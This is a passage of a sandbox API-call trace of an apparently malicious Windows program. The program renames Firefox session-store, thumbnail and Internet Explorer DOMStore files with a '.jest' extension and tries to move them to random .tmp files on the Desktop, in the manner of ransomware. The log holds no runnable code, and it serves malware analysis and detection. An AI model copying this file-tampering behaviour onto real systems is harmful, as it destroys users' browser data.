dwReserved1=0x74513962, cFileName="PqKu7r-XQp208U3Trd5p-J6G6TOnY6EoFqC_2J W4LlDfTcGyH8iJt8humGUYrqAKDXYh5w6jGu5VeRP8kHRLgd 2bu4iOWPx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.369] GetLastError () returned 0x2 [0130.369] GetLastError () returned 0x2 [0130.369] SetLastError (dwErrCode=0x2) [0130.372] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.372] CoFreeUnusedLibraries () [0130.372] GetTickCount () returned 0x1153006 [0130.372] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.372] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.372] GetTickCount () returned 0x1153006 [0130.372] IsWindowVisible (hWnd=0x30268) returned 0 [0130.372] Sleep (dwMilliseconds=0x0) [0130.373] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.jest")) returned 1 [0130.374] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak", lpFilePart=0x18e6d8*="sessionstore.bak") returned 0x68 [0130.374] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xa00000a, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x14460d8, ftLastAccessTime.dwLowDateTime=0x14ab418, ftLastAccessTime.dwHighDateTime=0x14b2b68, ftLastWriteTime.dwLowDateTime=0x50, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x40, nFileSizeLow=0x1445ff0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.374] GetLastError () returned 0x2 [0130.374] VarBstrFromR4 (in: fltIn=0x47944717, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.18") returned 0x0 [0130.374] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.374] CoFreeUnusedLibraries () [0130.374] GetTickCount () returned 0x1153006 [0130.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.375] GetTickCount () returned 0x1153006 [0130.375] IsWindowVisible (hWnd=0x30268) returned 0 [0130.375] Sleep (dwMilliseconds=0x0) [0130.375] GetFullPathNameA (in: lpFileName="KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp", lpFilePart=0x18e708*="KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp") returned 0x8f [0130.375] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak", lpFilePart=0x18e708*="sessionstore.bak") returned 0x68 [0130.376] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kjem7cwltkbub1v3l-8hi sd4ugrfbe3d-2vm4moqhysvv1-3kuyuhjbwcz4hhb8k61ytuhf9edwibytdljbhwu-u23ovg u34n s.tmp")) returned 0 [0130.376] GetLastError () returned 0x2 [0130.376] GetLastError () returned 0x2 [0130.376] SetLastError (dwErrCode=0x2) [0130.376] GetLastError () returned 0x2 [0130.376] SetLastError (dwErrCode=0x2) [0130.376] GetLastError () returned 0x2 [0130.376] SetLastError (dwErrCode=0x2) [0130.376] GetFullPathNameA (in: lpFileName="KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp", lpFilePart=0x18e6e4*="KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp") returned 0x8f [0130.376] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KJeM7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d654a4b, cFileName="7cwLtKBUb1v3l-8HI SD4UGrFBe3D-2Vm4moqHYsvV1-3kuYuhJBwcZ4Hhb8K61yTUhF9eDwIBYTdLjBHwU-u23ovG U34N s.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.376] GetLastError () returned 0x2 [0130.376] GetLastError () returned 0x2 [0130.377] SetLastError (dwErrCode=0x2) [0130.385] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.385] CoFreeUnusedLibraries () [0130.385] GetTickCount () returned 0x1153016 [0130.385] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.385] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.385] GetTickCount () returned 0x1153016 [0130.385] IsWindowVisible (hWnd=0x30268) returned 0 [0130.385] Sleep (dwMilliseconds=0x0) [0130.390] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.jest")) returned 1 [0130.392] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", lpFilePart=0x18e6d8*="ce8c0453589216a67cddb50284fbfe8d.png") returned 0x85 [0130.392] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.392] GetLastError () returned 0x2 [0130.392] VarBstrFromR4 (in: fltIn=0x47944719, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.2") returned 0x0 [0130.393] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.393] CoFreeUnusedLibraries () [0130.393] GetTickCount () returned 0x1153016 [0130.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.393] GetTickCount () returned 0x1153016 [0130.393] IsWindowVisible (hWnd=0x30268) returned 0 [0130.393] Sleep (dwMilliseconds=0x0) [0130.394] GetFullPathNameA (in: lpFileName="djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp", lpFilePart=0x18e708*="djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp") returned 0x8e [0130.394] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png", lpFilePart=0x18e708*="ce8c0453589216a67cddb50284fbfe8d.png") returned 0x85 [0130.394] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\djvupl-rytll-7prucdca7y5hwd9f_psolqmf9leq6fy_gep1wrmwivl4sk2odxz3sbcwwgmihvrcnb6khozg3lm3aq pt-uydk2.tmp")) returned 0 [0130.395] GetLastError () returned 0x2 [0130.395] GetLastError () returned 0x2 [0130.395] SetLastError (dwErrCode=0x2) [0130.395] GetLastError () returned 0x2 [0130.395] SetLastError (dwErrCode=0x2) [0130.395] GetLastError () returned 0x2 [0130.395] SetLastError (dwErrCode=0x2) [0130.395] GetFullPathNameA (in: lpFileName="djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp", lpFilePart=0x18e6e4*="djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp") returned 0x8e [0130.395] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\djVUpl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55566a64, cFileName="pl-rYtLl-7PRUcdCA7y5hwd9F_pSOLQmF9lEq6FY_Gep1wrMwIvL4sK2OdXz3sbCWWgMIHVRCNB6KHOZg3lM3AQ Pt-UydK2.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.395] GetLastError () returned 0x2 [0130.395] GetLastError () returned 0x2 [0130.395] SetLastError (dwErrCode=0x2) [0130.396] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.396] CoFreeUnusedLibraries () [0130.396] GetTickCount () returned 0x1153025 [0130.396] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.396] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.396] GetTickCount () returned 0x1153025 [0130.396] IsWindowVisible (hWnd=0x30268) returned 0 [0130.396] Sleep (dwMilliseconds=0x0) [0130.405] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.405] CoFreeUnusedLibraries () [0130.405] GetTickCount () returned 0x1153025 [0130.405] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.405] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.405] GetTickCount () returned 0x1153025 [0130.406] IsWindowVisible (hWnd=0x30268) returned 0 [0130.406] Sleep (dwMilliseconds=0x0) [0130.408] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.jest")) returned 1 [0130.409] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpFilePart=0x18e6d8*="www.msn[1].xml") returned 0x6b [0130.409] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x39000039, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ece0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x1445ff8, ftLastWriteTime.dwLowDateTime=0x1c8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.409] GetLastError () returned 0x2 [0130.409] VarBstrFromR4 (in: fltIn=0x4794471d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.23") returned 0x0 [0130.410] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.410] CoFreeUnusedLibraries () [0130.410] GetTickCount () returned 0x1153035 [0130.410] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.410] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.410] GetTickCount () returned 0x1153035 [0130.410] IsWindowVisible (hWnd=0x30268) returned 0 [0130.410] Sleep (dwMilliseconds=0x0) [0130.412] GetFullPathNameA (in: lpFileName="YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp", lpFilePart=0x18e708*="YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp") returned 0x8e [0130.412] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpFilePart=0x18e708*="www.msn[1].xml") returned 0x6b [0130.413] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ydgeun834clcllaxbr464a7w_r5qrmomqr0e2wf2qsoo1qj2h6igckt0sw0q9zpovnvx9hm7u h6t5p4jj6dvthr-qpvsjyjuyfj.tmp")) returned 0 [0130.413] GetLastError () returned 0x2 [0130.413] GetLastError () returned 0x2 [0130.413] SetLastError (dwErrCode=0x2) [0130.413] GetLastError () returned 0x2 [0130.413] SetLastError (dwErrCode=0x2) [0130.413] GetLastError () returned 0x2 [0130.413] SetLastError (dwErrCode=0x2) [0130.413] GetFullPathNameA (in: lpFileName="YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp", lpFilePart=0x18e6e4*="YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp") returned 0x8e [0130.413] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YdGEuN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45476459, cFileName="uN834ClCllAxbr464A7W_R5qrmomqr0e2WF2QsOO1qJ2H6igcKt0sw0Q9zPovnVX9Hm7u H6t5P4Jj6dvThr-qPVsjyjUYFJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.413] GetLastError () returned 0x2 [0130.413] GetLastError () returned 0x2 [0130.414] SetLastError (dwErrCode=0x2) [0130.492] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.492] CoFreeUnusedLibraries () [0130.492] GetTickCount () returned 0x1153083 [0130.492] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.492] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.492] GetTickCount () returned 0x1153083 [0130.492] IsWindowVisible (hWnd=0x30268) returned 0 [0130.492] Sleep (dwMilliseconds=0x0) [0130.575] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.576] CoFreeUnusedLibraries () [0130.576] GetTickCount () returned 0x11530d1 [0130.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.576] GetTickCount () returned 0x11530d1 [0130.576] IsWindowVisible (hWnd=0x30268) returned 0 [0130.576] Sleep (dwMilliseconds=0x0) [0130.654] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0130.719] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.719] CoFreeUnusedLibraries () [0130.720] GetTickCount () returned 0x115315d [0130.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.720] GetTickCount () returned 0x115315d [0130.720] IsWindowVisible (hWnd=0x30268) returned 0 [0130.720] Sleep (dwMilliseconds=0x0) [0130.804] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.804] CoFreeUnusedLibraries () [0130.804] GetTickCount () returned 0x11531bb [0130.804] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.804] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.804] GetTickCount () returned 0x11531bb [0130.804] IsWindowVisible (hWnd=0x30268) returned 0 [0130.804] Sleep (dwMilliseconds=0x0) [0130.894] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.894] CoFreeUnusedLibraries () [0130.894] GetTickCount () returned 0x1153219 